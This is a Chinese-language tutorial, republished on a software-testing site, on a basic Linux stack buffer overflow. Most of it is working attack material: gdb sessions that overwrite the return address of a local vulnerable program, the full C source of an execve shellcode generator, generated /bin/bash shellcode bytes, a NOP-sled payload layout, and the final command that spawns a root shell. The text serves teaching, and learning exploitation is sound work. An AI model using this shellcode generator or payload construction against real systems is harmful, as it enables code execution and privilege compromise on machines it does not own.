Linux下基本栈溢出攻击

发表于:2014-12-23 13:28

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:elite    来源:51Testing软件测试网采编

分享:
  下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:
(gdb) b *main+41
Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11
11  }
(gdb) i r ebp
ebp            0xbffff1a8   0xbffff1a8
(gdb) i r esp
esp            0xbfffef90   0xbfffef90
(gdb) i r eip
eip            0x80483ed    0x80483ed <main+41>
(gdb) x/550bx $esp
0xbfffef90: 0xac    0xef    0xff    0xbf    0xf6    0xf3    0xff    0xbf
0xbfffef98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffefa0: 0xa4        0xf0        0xff        0xbf    0x08    0x00    0x00    0x00
0xbfffefa8: 0x3c    0xd5    0x12    0x00    0x41    0x41    0x41    0x41
0xbfffefb0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfffefb8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfffefc0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfffefc8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfffefd0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbfffefd8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
………………………………………………………………………………………………
0xbffff198: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff1a0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff1a8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff1b0: 0x00    0x00    0x00    0x00    0x54    0xf2
(gdb)
(gdb) stepi
0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11
11  }
(gdb) i r ebp
ebp            0x41414141   0x41414141
(gdb) i r esp
esp            0xbffff1ac   0xbffff1ac
(gdb) i r eip
eip            0x80483ee    0x80483ee <main+42>
(gdb) x/10bx $esp
0xbffff1ac: 0x41    0x41    0x41    0x41    0x00    0x00    0x00    0x00
0xbffff1b4: 0x54    0xf2
(gdb) stepi
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141   0x41414141
(gdb)
  既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。
  接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为:
/*
[] Shellcode Generator null byte free. []
[] Author: certaindeath            []
[] Site: certaindeath.netii.net (at the moment under construction)   []
[] This program generates a shellcode which uses the stack to store the command (and its arguments).   []
[] Afterwords it executes the command with the system call "execve". []
[] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.   []
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/types.h>
#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
void print_c(__u8*,int);
void push_shc(__u8*, char*, int*);
int main(int argc, char *argv[]){
char cmd[255], *a;
FILE *c;
int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
if(argc<2){
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
"|      Shellcode Generator      |\n"
"|        by certaindeath        |\n"
"|                               |\n"
"|  Usage: ./generator <cmd>     |\n"
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
_exit(1);
}
a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
//find the command path
a[0]=0;
strcat(a, "whereis ");
strcat(a, argv[1]);
c=popen(a, "r");
while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
cmd[--k]=0;
if(k==0){
printf("No executables found for the command \"%s\".\n", argv[1]);
_exit(1);
}
if(strlen(cmd)>254){
printf("The lenght of the command path can't be over 254 bye.\n");
_exit(1);
}
for(i=2;i<argc;i++)
if(strlen(argv[i])>254){
printf("The lenght of each command argument can't be over 254 byte.\n");
_exit(1);
}
//work out the final shellcode lenght
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
for(i=2; i<argc;i++){
k=strlen(argv[i]);
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
}
totl+=4*(argc-2);
printf("Shellcode lenght: %i\n", totl);
//build the shellcode
shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
memcpy(shc, start, 2);
if(SETRUID){
memcpy(shc+shp, struid, 10);
shp+=10;
}
if(argc>2)
push_shc(shc, argv[argc-1], &shp);
else
push_shc(shc, cmd, &shp);
memset(shc+(shp++), 0x89, 1);
memset(shc+(shp++), 0xe6, 1);
if(argc>2){
for(i=argc-2;i>1;i--)
push_shc(shc, argv[i], &shp);
push_shc(shc, cmd, &shp);
}
memset(shc+(shp++), 0x50, 1);
memset(shc+(shp++), 0x56, 1);
if(argc>2){
for(i=argc-2;i>1;i--){
memset(shc+(shp++), 0x83, 1);
memset(shc+(shp++), 0xee, 1);
memset(shc+(shp++), strlen(argv[i])+1, 1);
memset(shc+(shp++), 0x56, 1);
}
memset(shc+(shp++), 0x83, 1);
memset(shc+(shp++), 0xee, 1);
memset(shc+(shp++), strlen(cmd)+1, 1);
memset(shc+(shp++), 0x56, 1);
}
memcpy(shc+shp, end, 16);
print_c(shc,totl);
return 0;
}
void print_c(__u8 *s,int l){
int k;
for(k=0;k<l;k++){
printf("\\x%.2x", s[k]);
if(((k+1)%8)==0) printf("\n");
}
printf("\n");
}
void push_shc(__u8 *out, char *str, int *sp){
int i=strlen(str), k, b, b1, tmp=i;
__u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
memcpy(out+(*sp), pushb_0, 6);
*sp+=6;
for(k=0;k<((i-(i%4))/4);k++){
memset(out+((*sp)++), 0x68, 1);
tmp-=4;
memcpy(out+(*sp), str+tmp, 4);
*sp+=4;
}
b=(i%2);
b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
if(b1){
memset(out+((*sp)++), 0x66, 1);
memset(out+((*sp)++), 0x68, 1);
tmp-=2;
memcpy(out+(*sp), str+tmp, 2);
*sp+=2;
}
if(b){
memcpy(out+(*sp), pushb, 6);
*sp+=6;
memcpy(out+((*sp)++), str+(--tmp), 1);
}
}
/*
Here is the assembly code of a shellcode which executes the command "ls -l /dev".
This is the method used by the shellcode generator.
.global _start
_start:
xorl %eax, %eax         ;clear eax
subl $1, %esp           ; "/dev" pushed into the stack with a null byte at the end
movb %al, (%esp)
push {1}x7665642f
movl %esp, %esi         ;esp(address of "/dev") is saved in esi
subl $1, %esp           ;"-l" pushed into the stack with a null byte at the end
movb %al, (%esp)
pushw {1}x6c2d
subl $1, %esp           ;"/bin/ls" pushed into the stack with a null byte at the end
movb %al, (%esp)
push {1}x736c2f6e
pushw {1}x6962
subl $1, %esp
movb {1}x2f, (%esp)
;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack
push %eax           ;the NULL pointer pushed into the stack
push %esi           ;the address of "/dev" pushed into the stack
subl $3, %esi           ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"
push %esi           ;to find the address of "-l" and then push it into the stack
subl $8, %esi           ;the same thing is done with the address of "/bin/ls"
push %esi
movb $11, %al           ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)
movl %esi, %ebx         ;is executed
movl %esp, %ecx
xor %edx, %edx
int {1}x80
movb $1, %al            ;_exit(0);
xor %ebx, %ebx
int {1}x80
*/
  使用方法是:
root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c
root@linux:~/pentest# ./shellcode_generator /bin/bash
Shellcode lenght: 45
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x62\x61\x73\x68\x68\x62\x69
\x6e\x2f\x83\xec\x01\xc6\x04\x24
\x2f\x89\xe6\x50\x56\xb0\x0b\x89
\xf3\x89\xe1\x31\xd2\xcd\x80\xb0
\x01\x31\xdb\xcd\x80
root@linux:~/pentest#
  现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):
  #################################################################
  “\x90” * 431  +  shellcode(45) +  shellcode地址(4字节) * 10  ==  516B
  #################################################################
  其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。
  到目前为止,我们已经构造出了我们的溢出代码,如下:
(gdb) run `perl -e 'print
"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`
The program being debugged has beenstarted already.
Start it from the beginning? (y or n)y
Starting program:/root/pentest/vulnerable `perl -e 'print
"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6
\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",
"\xac\xef\xff\xbf"x10'`
process3724 is executing new program: /bin/bash
root@linux:/root/pentest# exit
exit
Program exited normally.
(gdb)
  可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。
  到此为止,栈溢出攻击成功。
  附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。
44/4<1234
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号